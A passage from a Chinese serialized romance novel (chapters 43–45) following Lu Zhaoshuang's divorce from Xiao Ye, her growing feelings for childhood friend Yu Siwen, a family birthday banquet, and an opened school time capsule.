二舅妈笑了,“还真是,以前我还觉得小霖变化大,这女朋友一谈,跟小时候还真一个样。” 祸水成功东引。 没人关注这边了,只剩下沈霖炸毛的声音:“不是,我哪像那时候了?” 兵荒马乱的一顿饭吃完。 陆照霜想抓紧机会溜走,但作为结婚后第一次来露面的“新女婿”,萧烨被一群男性亲戚围住开始灌酒,她也只好留下,象征性地挡几下。 一场车轮战下来,萧烨的眼皮越来越耷拉,最后直接“咚”一声趴在了桌上。 大家乐了,连声唤她。 “阿霜,小萧这酒量不行啊。” “但酒品还行,起码醉了就睡,也不发酒疯。” 陆照霜哪里知道萧烨酒品好不好,反正他迄今从未在她面前喝醉过,只能信口附和:“是啊,也就这点不错了。” 虽然很对不起萧烨,但他现在醉倒了,她反而觉得轻松。 哪知李叔突然来了一句:“阿霜,帮忙搭把手,我们把他扶回你屋里吧。” “?”陆照霜身体瞬间石化。 却想不到推辞的理由。 周围人都看着她,她的目光在萧烨紧闭的眼皮上停顿几秒,然后咬咬牙,走过去准备搀扶萧烨。 反正他也醉了,算不了什么。 然而她的手还未碰到萧烨的胳膊,就被另一只从后伸来的手截住。 郁思弦握着她小臂,语气很淡,“这可不行,阿照。” 43/ 第43章 ◎她没关心萧烨,只关心他◎ 陆照霜顺着他的手,目光缓缓挪上去,唯恐他在这时扔出什么重磅炸弹。 但郁思弦很快就松开了她,垂眸笑道:“明天你的事情那么多,今晚哪有功夫照顾他,让他跟我睡吧。” 李叔想了想,自然没什么好反对的。 他和郁思弦各自搀扶起萧烨一边,扶着萧烨进了电梯。 陆照霜心情复杂地注视着郁思弦的背影。 她躲了他大半天,他刚才一眼也不肯看她这边。 但无论是饭桌上还是刚才,他最后还是想着帮她。 陆照霜突然就觉得心底被踩出了一个会冒着酸水的小口,让她一直到躺在床上的当口,也还是翻来覆去睡不踏实。 她干脆坐起身,打开壁灯,斟酌着给郁思弦发消息。 【抱歉,是我把他放进来的,结果还得麻烦你来照顾他。】 【明天白天奶奶的寿宴一完,我一定马上把他打发走。】 【你没事吧?会不会很累?】 * 对面的卧室里。 郁思弦自然没什么事,跟李叔道过谢,把门重新关上后,他就抱着胳膊,冷冷注视着床上那人,“行了,人都走了,就别装了。” 这话一出,刚才还醉得不省人事的萧烨,眼皮颤动了一下,手掌揉了揉侧边脸,烦躁地坐起身,看着郁思弦的眼睛再清明不过,“还真是瞒不过你。” 陆家这边的人和萧烨往来不多,在萧烨眼中陆照霜又不喝酒,故而没什么人知道他的酒量。 但多次在生意场上碰过面的郁思弦再清楚不过。 “萧烨,你们已经离婚了,你再耍这样的把戏,就能称之为性骚扰了。” “思弦,我为什么要这么做,理由你不是再清楚不过了吗?” 当然,郁思弦当然清楚不过。 他的声音几乎是无可奈何的,“萧烨,你已经做出过选择了。” “选择?”萧烨嗤笑了一声,然后一字字否认:“没有,那只是个误会,我承认我后来太冲动,放任那个误会扩大,变成了现在这样,但那不是我的本意。” 郁思弦闭了闭眼。 在这种他觉得一切正在好起来的时候,萧烨又来了。 萧烨就像一个阴魂不散的梦魇,无论多少次,都永远挡在他前面。 他努力回忆着那天在江边阿照演奏的《爱之悲》,也努力回想着今早她说的,他听得出来的,以此来让自己冷静一些。 但感情的事谁说得准?他亲眼见证过,她给过萧烨多少机会。 橱柜的阴影里,他的手指已经深深掐进了手臂皮肤,出现了血痕。 萧烨看到郁思弦不做声,继续试图动摇他。 “思弦,我们三在一起这么多年,你真的希望从此以后,我们就因为这种误会,变成陌路人吗?只要给我机会,无论是那些误会,还是我之前犯过的错,我都会补救的。” 哈?郁思弦荒谬到简直要笑了。 萧烨竟然到现在还以为,他有可能帮萧烨挽回陆照霜? 那种深埋了二十年却始终只能深埋心底的情绪,在这一瞬间化为了如有实质的黑沉暗流,让他想要把一切虚伪的假面撕个干净。 干脆告诉萧烨吧? 三个人永远在一起的那种妄想早在很久以前就不复存在了。 告诉萧烨,他等现在这个时机等了有多久。 告诉萧烨,和他这漫长到暗无天日的等待相比,萧烨那点轻飘飘的忏悔和犹豫,究竟有多微不足道。 暴戾在胸口疯长,然后就在他已经启唇,要说出口的那一刹那,手机微微震动。 郁思弦垂眸,看到一条条跳出来的新消息。 阿照:【抱歉,是我把他放进来的,结果还得麻烦你来照顾他。】 【明天白天奶奶的寿宴一完,我一定马上把他打发走。】 【你没事吧?会不会很累?】 郁思弦的目光久久停留在最后那条消息上。 她没有在关心萧烨。 只在关心他。 心中翻涌的暴戾,就这样奇迹般被一点点抚平。 “思弦?”萧烨疑惑地问。 郁思弦收回手机,平淡地转身去衣柜拿换洗的睡衣:“要不要接受你的道歉和补偿是阿照的自由,无论是我还是别人,都没有资格干涉她。” 他这话说得坦荡,萧烨也没察觉出什么问题。 因为他也确实,从头到尾,也没有在他们之间挑拨离间,只是单纯地在动摇阿照而已。 这件事里他自认唯一对不起萧烨的,就是他的每一次行动,萧烨都是不知情的。 但现在不是摊牌的时机。 他了解萧烨,如果萧烨得知他的心思,一定按捺不住自己的情绪。 他的理智重新回笼,陆奶奶这么多年对他不薄,他不能因一己之私毁掉她的寿诞。 “你休息吧,我先去洗澡了,今晚说的这些我就当没听过。”郁思弦拿上衣服,就准备进浴室。 身后却传来萧烨不甘的声音。 “思弦,你永远站在阿霜那边,就不能有一次站我这边吗?” 萧烨还记得,在他们结婚的时候,他理所当然地认为,郁思弦会做他的伴郎——所有人都这么认为。 郁思弦是他们最好的朋友,那个把戒指递给他们的人,除了郁思弦别无他选。 但郁思弦一点也没有犹豫,就拒绝了。 他当时问郁思弦理由,郁思弦沉默很久以后,才古怪地回答了一句:“你就当……我算阿照的娘家人好了。” 时光飞逝,如今的郁思弦站在浴室门口,背影停住片刻,然后转头看他,头一次彻头彻尾承认:“是啊,我一直是她那边的人。” 郁思弦从浴室出来以后,萧烨也走进了浴室。 一言不发。 刚才的那段话在他们之间,产生的影响是显而易见的。 但是郁思弦无所谓。 他们那段短暂脆弱、但也确实存在过的少年时期的友谊,以及他一切所作所为对萧烨产生的愧疚。 在医院那晚,就已经了结了。 他无法想象,如果自己没有下定决心闯进他们家,阿照烧一晚上会怎么样。 因此也就,无法原谅,那天没有陪在她身边的萧烨。 郁思弦打开手机,慢吞吞地回复陆照霜,撒了个没有人会去拆穿的谎言:【是有点累,萧烨还是会发酒疯的。】 几乎就在他发完的一瞬间,屏幕上方就显示“对方正在输入中”。 显然,她一直在盯着手机,也许是在等他的回复。 郁思弦的心情忽然就愉悦了一点。 那行提示消失、又再次显示,反复多遍。 他耐心十足、又饶有兴趣地等着她的消息。 最后她没有发新消息,而是—— 【“阿照”拍了拍我,祝我晚上做个好梦】 郁思弦愣了一下,又偏过头去看另一边床头柜上萧烨的手机。 屏幕漆黑安静。 萧烨什么也没有收到。 心里最后一丝微酸的褶皱被抚平了。 在手机的微弱光线里,郁思弦很好哄地微微扬起了唇角。 * 陆奶奶寿诞当日。 作为至亲的陆照霜陆笙瑜沈霖这些小辈,自然忙前忙后地招待客人。 萧烨被困在坐席上,找不到去跟陆照霜说话的机会。 他有些焦躁,干脆准备起身前去帮忙。 郁思弦伸手拦住他,“这些事你不让她做,她自己心里不好受,陆叔叔也要怪她,来的这些客人你又认识几个?连我都插不上手,你今天就别上去给她添乱了。” “连我”那两个字,萧烨怎么听怎么古怪,掀起眼看了郁思弦好一会儿,他也只是平淡地在那里喝着茶,好像也没什么问题。 萧烨说不出反驳的理由,只好继续坐着。 倒是送寿礼的时候,萧烨订的那一扇黄金绫条装裱的寿屏,外加陆照霜以他的名义定的寿礼,两相加起来,在今天的客人里便显得格外贵重。 不免有人在陆奶奶耳边咂舌。 “小萧这孩子虽然前两年确实没什么规矩,但现在看来还是有心的。” “有心就好,两个孩子还是从小一起长大的,知根知底,现在看确实是一对好姻缘。” 陆奶奶听着这些话,目光在陆照霜身上停了片刻,随即垂下眼睫,笑了笑,并没有接话。 萧烨也忍不住朝陆照霜望去,急于知道她是什么反应。 她此刻正和陆父站在一起,但和陆父溢于言表的满意相反,她垂着头,脸上什么情绪也没有。 萧烨心里突然就凉了半截。 下午,寿宴一结束,该送走的亲戚送走,还要留的亲戚回屋休息,萧烨终于有了机会上去找陆照霜。 她也恰于此刻转头望过来,在看到他的那一刻,立刻抬脚朝他走来。 这种仿佛心有灵犀的时刻,让萧烨心里重又暖和起来。 然而,就在距离他还有一米的时候,陆照霜站定脚步,脸上绽开一个不达眼底的微笑。 “萧烨,你不是跟我说,你公司里还有急事等着你回去处理吗?正好晚上还有一趟飞机,我现在送你过去,也不打扰你明天工作。” 萧烨身体霎时僵住,“阿霜……” 陆父听见了,也跟着走了过来。 今天萧烨的寿礼让他这个岳父终于在亲戚们中间抬了一次头,此刻便显得格外和颜悦色。 “既然工作有事那就先回吧,你的心意大家都看到了,”陆父拍了拍他的肩膀,“以后常来就是了。” 萧烨脸上的笑容险些维持不住,只能答应,“好。” 他跟陆奶奶告别过后,就在陆家众人亲切的送别目光中坐进了副驾。 车窗重新升起,陆照霜脸上的笑容很快就淡了下去,打方向盘驶上车道。 “阿霜,”萧烨想跟她谈谈,“我们——” 陆照霜立刻打断了他,“我正在开车,别干扰我的情绪。” 他看到她脸色紧绷,眼神冷得厉害,便也只能先按捺下去,一路沉默地抵达了机场。 陆照霜没下车,就坐在驾驶座,垂头在手机上点了点,把机票信息发给萧烨。 “票给你买了,你回去吧,别再来了。那个屏风虽然是你自作主张,但毕竟是送我奶奶的寿礼,我也不能当没看见。发票完了发我,我会转给你。” 她把他们之间的一切划分得这么干净直白。 “阿霜……”萧烨第一次感觉到力气全使在棉花上的那种无力感,“是不是我做的这一切在你看来都没有意义?我只是想让你高兴点。” 陆照霜又觉得热了。 但不是和郁思弦待在一起时那种难以呼吸的燥热,是一种自己简直想砸碎点什么东西的闷热。 她降下车窗,让伊冬晚间的凉风吹进来,好让自己尽可能保持情绪稳定,“萧烨,我一开始就说了,我不会承你的情。” “阿霜,我们从小到大这么多年,你不能一点弥补的机会都不给我。” 陆照霜手指插进发间,偏头看着萧烨,眼神不能更冷了,“萧烨,你真的想听我说实话吗?” 44/ 第44章 ◎在好奇和暧昧,变成爱情之前。◎ 那种直觉又出现了。 萧烨想,那一定会是他非常、非常不想听到的话。 “既然你今天累了,我就不打扰你休息了,改天再聊吧。”他敏锐地抬手去按车门拉手。 “咔哒。”中控台把车门锁上了。 萧烨僵硬许久,才梗着脖子,慢慢地回头去看陆照霜。 “有些事可能还是早点说清楚的好。”陆照霜淡声道。 “你说你今天来是为了让我高兴,但我一点都不觉得高兴。坐在你身边我觉得不高兴;被别人开我和你的玩笑我觉得不高兴;就算我再想躲,可还是要以夫妻的名义被绑在你身边,这一点让我觉得最不高兴。” 萧烨脑子里有点木,眼神开始不知道往哪里放,下意识去拉外套的拉链。 他心想,伊冬的夜晚果真是太冷了。 “还有……”她沉默很久后,才低声补充:“和你坐在一起,被你碰到的时候,我觉得很不舒服。” 萧烨的手指就那么僵在那里,放大的瞳孔失去了焦点,好一会儿,他才重新找回自己的嗓音:“你说什么?” “就是你听到的那样。”陆照霜别开脸,看向她那一侧的车窗外,朦胧的雪山影子映在她的眼瞳里,显得有些空洞和虚无。 “知道吗,萧烨,我今天才想通一件事。” “什么?” “你以前为什么那么对我。” 萧烨猝然转头,却只能看见她背对他的后脑。 她轻声道:“不喜欢的时候,看到对方使劲往自己身边挤,一定觉得很厌烦吧,难怪你躲了我两年,一见我就想捉弄我。” 萧烨心里冰凉一片,不知道是因为她说他厌烦她,还是因为她这句话的意思,是指她现在有多厌烦他。 “昨晚听大家说起我们小时候的事情,其实我觉得很遗憾,我们有过那么好的时候,全被我毁掉了,如果我没有答应和你结婚就好了,起码我们不会变成现在这种样子。” 她微垂着头,说这话时的语速比平时都要挤,透出一股显而易见的焦躁。 她看上去很想咬点什么,但她没有抽烟的习惯,所以只是抓着方向盘的手指越越来越紧。 不知道是想把方向盘捏碎,还是把自己弄碎。 “阿霜!”萧烨一把握住她的手,然后一根根掰开她的指节,把她僵硬的手指放进自己掌心里缓缓按揉,一字字道:“既然你也觉得怀念……那为什么我们不能重新开始再试一试?” 陆照霜抽了一下手,没抽开,便随他去了,只是问:“你现在做这些事为什么?为了和我复合吗?” 萧烨一僵。 网上有句很流行的话,叫“告白是胜利的号角,不是进攻的冲锋号”。 他对这句话深以为然,有些事只适合徐徐图之,若是说得太早太清楚,只会弄巧成拙。 但她既然问了,避而不答就更是下下策。 “是。”他抬起头,直视她的眼睛,坦白承认。 陆照霜眼里却没有因为这句话有任何动容,只是冷静地继续问:“和我复合是为了什么?我们过去那两年,好像没什么值得留恋的地方。” 说到这里,她颇为自嘲地笑了一下。 萧烨心里像是扎了一片密密麻麻的小针,刺得他胸口酸痛,却还是尽力忍住,顺着她的手指,紧紧地拉住了她的手。 “阿霜,我承认是我的错,让我们走到了现在这一步,但我们还年轻,什么都来得及去改正,难道你舍得我们这么多年的感情,就这么分道扬镳?” 陆照霜恍然大悟一样“哦”了一声,然后自顾自点了下头,“所以你只是不习惯。那去换个新的习惯吧,网上不是说二十一天就可以养成一个新的习惯吗?” “阿霜,你不是也留恋吗?” 陆照霜轻轻叹了口气。 那一瞬车窗外的风把她脸侧的发丝吹起,她的目光就落在他身上,显得格外清醒、也格外悲伤。 唯独,不像是在注视着他本人,而像是在透过他,看着什么幻影一样。 “萧烨……我怀念的,都是已经不会再回来的东西了。” “你也,没办法,再把那些我怀念的东西带回来了。” 车内陷入了久久的死寂。 直到陆照霜看了眼手机,重新解锁中控台,“回去吧,你该登机了。” 萧烨抿着唇看她好半天,最后在下车前,闷声说了句:“时间还长,我们之间还没完。” 她下意识想反驳,但萧烨已经摔上*了车门,朝机场走去。 这种自己说了一大通,却根本没有跟对方讲通的感觉太难受了。 她和萧烨二十多年的青梅竹马,她真的不想他们之间难堪成这样,就算有过歇斯底里的崩溃和指责,就算往后再也做不成朋友。 但她也希望,当时间日久,他们偶然相遇,可以平心静气地互相打声招呼,也算对那些形影不离的少年时光的交代。 绝非继续这样藕断丝连,一点一点,把对过去时光的留恋也逐渐消磨干净。 他们为什么会变成这样? 陆照霜伏在方向盘上,深深喘息了好几口,才重新调转车头回家。 车在驶进陆宅之前,她却犹豫了一下,在外面的车道上停了一会儿。 所有车灯都关掉了,但是银白的月光还是把车内照得纤毫毕现。 陆照霜仰靠在车座上,注视着自己的手掌。 无论是主动还是被动、有意或者无意,今天她和两个人牵过手。 她不是木头,那其中的差距,她不会察觉不出来。 无论是台风那夜他抱起她时黑而沉的目光,还是港口忽然拽她入怀的那个拥抱,亦或是射箭馆里过分亲密的靠近……还有今早的十指相扣。 她不知道这种变化是从何时开始、何时出现的,也许是他们这几个月走得太近了。 但她想,她其实是……不讨厌这种变化的。 否则,无论她对郁思弦的底线有多低,在他今早扣住她的手时,她早都一巴掌甩回去了。 因为不讨厌,所以纵容到了现在。 但真的可以继续纵容他、纵容自己这么放任下去吗? 爱情是件多么容易让人迷失的事情,她已经经历过一遍了。 她已经失去了一个陪伴自己二十多年,宛如自己一部分血肉的朋友、或者说家人。 她还能接受失去另一个人的可能吗? 十八年前,就在这条路上,她牵住了郁思弦的手,对他承诺,我的家人就是你的家人。 但不只是陆照霜成为了郁思弦的家人。 他们一起去散步钓鱼玩耍、他替偷偷溜出去散心的她打掩护、他在她几欲崩溃的时候跑到申城音乐学院陪她练琴、他冒着大雨去机场接她回家、他陪她从头到尾操办完妈妈的全部丧仪、他陪她度过婚前每一个惊惶不安的时刻…… 他们的记忆多到她根本数都数不清。 在许下那个承诺之时,她还不知道——郁思弦也会是陆照霜,无可取代、也绝对不愿失去的家人。 她伸手捂住自己的脸,长长呼出口气。 然后重新给车点火,在引擎启动的刹那。 她想她该适时止步。 在好奇和暧昧,变成爱情之前。 …… 到家的时候已经很晚了,从外面就能看到,宅子里很多屋子都已经熄了灯。 陆照霜推开家门,客厅里只亮着昏黄的暗灯,空空荡荡。 她心里反而觉得轻松,放下外套,就去饮水机前接水。 “阿照,你回来了?” 她顿了顿,转回身,看到郁思弦就靠在楼梯口边的阴影里,难怪她刚才没发现。 “思弦,你怎么还没睡?”她笑着问。 郁思弦却并没回答,目光从她脸上拂过,“送萧烨的路上出了什么事吗?” “喔,还能有什么事?无非就是吵了吵,算不了什么,”陆照霜端着水杯,从他身边经过,“今天忙前忙后有点累了,我先去睡了。” 郁思弦下意识想去捉她的手腕,她却恰在那时抬手,端起水杯喝了一口,他的手一时落空,怔了一下。 陆照霜像是根本没发觉,扶着楼梯扶手,突然想起什么似的,很抱歉地朝他笑笑,“对了思弦,我有点事得早点回去,机票改签了,不能跟你一起走了。” “阿照,你——” 陆照霜打了个哈欠,适时打断了他的话,“我真的困了,你也早点休息吧,思弦。” 说完,她已经拾级而上。 郁思弦站在原地,怔怔看着她一级一级远离的背影。 空落落的手里,有什么东西,像是还没有握住,就已经从指缝间流失了。 陆照霜心情平静地走到了卧室门口。 身后并没有追来的脚步声。 她知道,郁思弦是再聪明不过的那种人,只需要一点简单的暗示,那很多事情都不言自明了。 只是握住门把手,要按下去、却还是停住的那一秒,她说不清自己心里突然空出来的那一块该叫什么。 第二天一早,陆照霜收拾好行李,叫了车准备出门。 因为她是临时改签的机票,并没多少人提前知道,因此只跟习惯性早起的陆奶奶告了别。 “抱歉,奶奶,应该多陪陪你的。” 陆奶奶拉着她的手笑道:“你过年的时候陪我时间够久了,以后有空再过来就行,工作要忙就去忙吧,我在你这个年纪的时候,有时候忙到过年连家都没空回呢。” 陆照霜心中微动,要把她从申城交响乐团辞职,加入了逃出人间的事情告诉奶奶吗? 挣扎片刻,最终还是沉默着没有开口。 逃出人间这种乐队,对奶奶的冲击说不定有点太大了,还是能多瞒一阵是一阵吧。 “那奶奶,我就先走了,等下次有空再来看你。”陆照霜俯身抱了抱奶奶,就准备离开。 手却被奶奶拉住。 就算经过再多昂贵的保养,这个年纪,奶奶的手掌也有种流失了血肉后干瘪的感觉,抚在她手背,那种粗糙的触感,让陆照霜心头微酸。 陆奶奶轻轻叹道:“我们阿霜是个乖孩子,别的孩子还在和家里天天闹脾气的时候,我们阿霜就开始学着照顾爸爸妈妈的情绪了,那时候我也整天就想着工作,没有插手处理。” 陆照霜蓦地睁大了眼。 “是我没好好对我的孩子们,所以我的儿子女儿,也一个个都没学会怎么对自己的孩子,你、小霖、笙瑜……”陆奶奶顿了顿,喉口忽然一哽咽,“小时候都过得不好,奶奶要是那时候,能照顾照顾你们就好了。” “奶奶……”陆照霜死死咬住下唇,将头埋在她膝上,才没有把哭腔泄出去。 “有些事我已经救不了了,小霖他妈妈十几年了也不肯回来看我一眼,”陆奶奶轻抚着她的发顶,“但有些事还来得及,我们阿霜想做什么都可以去做,结婚了过得不开心就离,别的什么都不用考虑,奶奶都支持。” 陆照霜不知道奶奶是怎么看出来的,但这么多天里,只能瞒着长辈们的那种不安,就突然被轻柔地接纳了。 她再也控制不住,颤抖着肩膀,埋在奶奶膝边无声地哭起来。 “还有……”陆奶奶的目光穿过庭院,落在独自一人守在门口的那个清癯身影上。 “阿霜喜欢什么人都没关系,什么都不用顾忌。到时候,不管对方是什么身份、不管有多少人反对,奶奶都站在你这一边。” 告别奶奶后,陆照霜去洗手间洗了把脸,确认脸上看不出异常,才拉着行李箱推开了门。 然后脚步蓦然一停。 门口的灰白石柱下,郁思弦穿一身黑色的风衣,静静站在那里,朝她望过来,本就冷白的脸,在清透的晨光下,更显得苍白易碎。 她一直和奶奶待在一楼的茶室,能看到进出门的动静,那他,是什么时候下来的? 像是看出她的疑问,郁思弦轻描淡写回答:“左右也睡不着觉,干脆就出来等,你总不会比我出来得更早。” 陆照霜呼进肺部的清晨空气,好像冷到让她胸口开始疼了。 她收回昨晚对郁思弦的判断。 他哪里是什么聪明人?他真的笨到家了。 “阿照,我再问一次那天晚上问过你的问题。” 郁思弦的目光透过薄薄的镜片,不容拒绝地注视着她的眼睛,“你是在躲着我吗?” 那些成年人之间,该不言自明的答案,他偏要她亲口说出来。 陆照霜无法回答。 郁思弦深吸了一口气,又问:“我让你觉得不舒服了吗?” 陆照霜艰难地摇了摇头,“没有,你别这么想。” “那好。” 郁思弦垂下眼睫,语气十分平静,却正因平静极了,反而透出一种不同寻常的执着,“既然我没有让你觉得不舒服,那阿照,你就按你的步调走,我也会按我的步调继续走。” 陆照霜倏然睁大了眼。 郁思弦已从她手里接过行李箱,率先拎到车边,帮她把行李箱放进后备箱,然后转头打量着她的神色,自嘲般笑了一下。 “看来今天我非要送你去机场的话,你大概会觉得难受了。好,我不去了。过几天我会直接从伊冬飞湘城,有些工作需要去处理,我们有段时间不能见了。” 他抬手把后备箱盖合上,发出轻微的一声扣响。 他没有再来拉她的手,也没有再来抱她,他只是站在那里,锐利的目光却叫她根本无法挪开视线。 “阿照,到时候《乐队人》的现场见。” * 回申城以后的日子非常忙碌,排练、选歌、改编、把日子填得满满当当。 他们只在搁浅做了一次演出,目的是为了推销他们的官方账号。 经过这段时间高若涵的认真运营,他们的账号拥有了一万多粉丝,在这个时代虽然是微不足道的数量,但足以证明,他们确实开始起步了。 在搁浅演出结束,有不少老顾客专门点了酒来为他们送行。 “加油,有机会我试试看能不能报名去当一次现场观众,到时候给你们投票。” “要多留几期啊!别给咱们搁浅丢脸!” “我连你们当时锯木头的时候都听过来了,就算是为了我,也不许灰溜溜地回来!要给我们大家长脸啊!” “逃出人间!你们给我大火!以后我还要带朋友去看你们,说在你们还根本没人知道的时候,我就已经在看你们了!” 哪怕是只在搁浅演出了一个月左右的陆照霜,都有些控制不住眼泪,更别说其他四个人了。 高若涵哭得一把鼻涕一把泪,徐勿凡虽然没有哭,但嘴唇也绷得很紧。 牧衡一反常态,正经地给他们每个人都调了一杯酒,默默陪他们喝完。 最后他们准备付钱的时候,牧衡笑着挡住了他们。 “就当我送你们的礼物,加油,去了那里,就别再回到这里了,这个舞台对你们来说真的太小了。” 走出搁浅,陆照霜心中一片怅然。 她回头看着搁浅这个不起眼的招牌。 第一次跟着郁思弦踏入这里时的不敢置信、第二次跑进这里时的心潮澎湃、以及后来每一次来到这里时如获新生的自由感。 恍若隔世。 她突然,就想去寻找一个,她一直没去深究过的答案。 “你们先走吧,我回去跟牧衡说句话。”她匆匆跟逃出人间交代了一句,就重新跑回了搁浅。 牧衡还坐在吧台后面,看她进来,夸张地挑了挑眉,“陆小姐,告别一次是伤感,告别两次,那可就成喜剧了。” 陆照霜因为跑得急,还喘着气,“为什么要告别?就算以后不再来这里演出了,我也还可以作为客人来这里啊。” 牧衡愣了下,而后失笑:“说的对,是我一叶障目。” “不过……”牧衡打量着她,“你来找我,不是来说这个的吧。” 陆照霜抚着胸口,平复了一下呼吸,然后手掌挪到吧台上,不自觉地攥成了一个拳头,像是下定了什么决心,“牧衡,你什么时候开始认识思弦的?” 牧衡诧异地看了她一眼,像是不明白她为什么问这个问题。 “两年前的5月16号,晚上,他第一次来我们酒吧,我记得很清楚。”牧衡肯定地回答。 陆照霜蓦然睁大了眼。 “很奇怪我能记得这么清楚?”牧衡笑了笑,“但真的没法记不住,你应该也会有这种感觉吧?思弦那样的人,看上去就不像来酒吧的人,就算是来,也不像是会来我这种酒吧的人。” “所以我记得很清楚,那天晚上他一个人走进来,谁跟他说话也不理,就一个人坐在那里,一直喝一直喝,我都要打烊了,思弦也没有喝醉,还很有礼貌地跟我道歉,说打扰我下班了,然后叫了代驾走了。” “他那天真的太奇怪了。不知道经历了什么,虽然他什么也没说,但就是觉得他很难过,好像失去了什么很重要的东西一样,搞得后来我们两都熟了,我也不敢问他那天是为什么。” 牧衡趴在吧台上,往前探了探身体,好奇地问:“陆小姐,你们两这么熟,你知道那天他是怎么了吗?” 陆照霜双手捂住了嘴,像是做梦一样摇了摇头。 “这样啊,原来你也不知道。”牧衡遗憾地叹了口气。 后来牧衡是不是还说了什么,陆照霜记不清了,她甚至记不清自己是怎么从搁浅里走出去的。 抬头时,还是当时她和郁思弦站在一起等过代驾的樱树。 那天他对生闷气的她说,“你比他们都重要,你不知道吗?” 开玩笑一样,那天他看起来一切如常。 所以,必须得是巧合才行。 他第一次来搁浅的理由,一定得是巧合才行。 两年前的5月16号。 那是她结婚的第二天。 【作者有话说】 非常抱歉宝子们,错别字一多,改一改就总是容易超出九点。 45/ 第45章 ◎文案剧情◎ 那天,为了逃避亲戚朋友们之间的繁文缛节,她和萧烨决定立刻就去度蜜月。 两家长辈和平时玩得好的朋友们都来机场送别。 陆照霜在人群里看了半天,也没有找到她想看到的那个人,“思弦不来吗?” 萧烨便随意地解释了一句,“他给我发了消息,昨天帮我挡酒喝得有点太醉了,今天头疼起不来,就不来送我们了。” “这样啊,”陆照霜有点遗憾地叹了口气,然后用力捅了捅萧烨的胳膊,“我们又麻烦他了,你要好好谢他呀。” “知道知道,”萧烨一把揽住她的肩膀,朝亲友们挥了挥手,便裹着她往登机口走,“我已经给他备了一份超级长!的礼物清单了。” 她被逗得一笑,却在转身的那一刻,突然脚步一滞。 “怎么了?”萧烨跟着一停,顺着她的目光望去。 陆照霜下意识喃喃:“我好像看到了……” 郁思弦。 但目之所及只有熙熙攘攘的人群,刚才瞥见的那一眼,幻觉一样,找不到任何证据。 她迟疑了一会儿,笑着摇了摇头,“没事,应该是我看错了。” “啊啊,果然得给思弦带很多礼物才行,”陆照霜一边和萧烨继续去办托运,一边无奈感慨,“不然真的对他太抱歉了。” 她都不好意思出幻觉了。 可如果那天说头疼到根本起不来的人,其实晚上去搁浅喝了一整夜的酒,也没有醉倒。 那她偶然瞥见的那个影子,真的会是错觉吗? 陆照霜叫的车到了,她坐进后座,抵着车窗闭上了眼睛。 别想了、别想了。 她真的不能再想了。 …… 去湘城参加《乐队人》海选的日子终于近在眼前。 早晨起,逃出人间的群内就一直响个不停。 林珩:【@全体成员,下午三点的高铁,谁都不准给我迟到!迟到了我能顺着网线爬过去把你们都突突了!知道了吗!】 陆照霜看笑了,回复:【收到,阿sir。】 她放下手机,最后确认了一遍行李箱收拾无误,然后郑重地拉上拉链。 今天过去,先找酒店住宿,明天早上去节目组参加海选。 到时候……她会见到郁思弦吗? 她下意识顺着透明的玻璃窗,越过湖水,看向对岸的小楼。 有半个月没有见到他了,再见他的时候,他会是什么反应呢?她又是否能维持住她的表情,一如往常地对待他呢? 陆照霜猛地拍了拍自己的脸,看向镜子,努力地向上扬起唇角。 她必须得做到。 正在这时,手机铃声突然响起,她偏头一看,是安晓岚。 虽然上次同学聚会她和安晓岚聊得不错,但毕竟没有什么共同爱好和生活圈,那之后并没有继续联络。 而且今天,她看了眼时间,好像还是工作日吧,安晓岚会有什么事情找她? 她疑惑地接起,还不等她问好,安晓岚呼吸急促的声音就立刻传了过来,“照霜!你有没有空现在来趟一中?你们三个当时埋的时光胶囊被挖出来了!” 陆照霜瞳孔骤然一凝。 “学校要建新的教学楼,准备把那片小树林拆了,今天施工队动工的时候我才看见,就赶紧把你们的时光胶囊拿出来了。” 陆照霜连忙道:“谢谢。” 她看了眼时间,应该还来得及,“我这就去取。” 她直接把行李箱带上,让司机送她去申城一中。 到了校门口,她刚下车,就看到对面恰驶来一辆劳斯莱斯。 果不其然,萧烨施施然从车上下来。 陆照霜咬了咬唇,没看他,直接朝等在校门口的安晓岚走去,“抱歉,还麻烦你专门出来接我。” 安晓岚朝她摆了摆手,“没事,反正我就在这上班,上次本来也答应要帮你看好的。” 萧烨不紧不慢地缀在陆照霜身后,目光停在她扎起头发以后露出的白皙后颈上,衬衫裙的版型宽松,但被细细的腰带系着,很显身材曲线。 萧烨插在兜里的手指微微蜷动,却也知道他这时候绝不能去招惹她,故而默默别开视线,随口问:“思弦没来吗?” 陆照霜:“他在外地出差。” 安晓岚:“我没他手机和微信。” 两个人的声音几乎是同时响起,让萧烨微微有些讶异。 “而且,”最前方,安晓岚的背影稍顿,微微垂着脑袋,“他的时光胶囊被施工队挖碎了。” 陆照霜一愣,心脏不由自主地难受起来。 为什么他的人生里,总会碰到这样不幸的事情呢? 萧烨倒是没怎么在意,“那他还真是挺倒霉的。” 两个人跟着安晓岚一起进了她的办公室,她在抽屉里翻了一下,然后把两个蓝色的胶囊递给他们两,“我也不太清楚是你们两谁的,你们自己看吧。” 萧烨接过,翻过去看了眼底部,上面刻着一个大写的L,便递过去,“阿霜,你的。” 然后他倒也不避讳,直接拧开他的那一个。 里面的字条很简单——“希望我已经成了不会被任何人掌控的人。” 陆照霜看到了,觉得一言难尽,他十八岁时可真是中二。 却没有注意到,萧烨在捏住那张纸条时,失神的目光。 陆照霜跟着也拧开了她的,虽然记不清具体内容了,但她应该没写什么不能见人的东西。 抚平信纸,她十八岁时规整娟秀的笔迹落进她眼里。 “致十年后的陆照霜: 其实我现在过得不太好,高三真的好累好累,再也不想来第二遍了。妈妈病得很严重,留学也放弃了,萧烨因为这个总跟我闹别扭。 真希望十八岁可以快一点过去。 不知道十年后的你,成为一个什么样的人了呢? 妈妈有健康起来吗?你有比我更快乐吗? 但无论如何,真希望十年后的你,是一个不让任何人、也不让自己失望的人。” 陆照霜嘴唇颤抖了一下,又被她咬住,然后默默把这封信塞回胶囊里。 八年后的她的生活。 妈妈的病没有好。 她有很长很长的时间,比十八岁的自己过得更不快乐。 过去、现在以及可以预见的未来,她也一定会让很多人失望。 但她正在试着努力,至少不让自己再对自己感到失望。 安晓岚也看到了他们给自己留的信息,靠着她的办公桌,睫毛垂落下来,露出了一个有点苦涩的笑,“真好啊,你们都是对自己未来的期待。” 这份来自八年前的时光胶囊,让萧烨今天的脾气格外温和,“多谢,有空的话,我和阿霜请你吃饭吧。” 安晓岚摇了摇头,“不用,一件小事而已。” 萧烨也没强求,只道:“如果有什么事需要帮忙,可以打我电话,我一定义不容辞。” 说完,他转身看向陆照霜,“阿霜,走吗?” 陆照霜犹豫了一下,她现在真的不太想和萧烨单独相处。 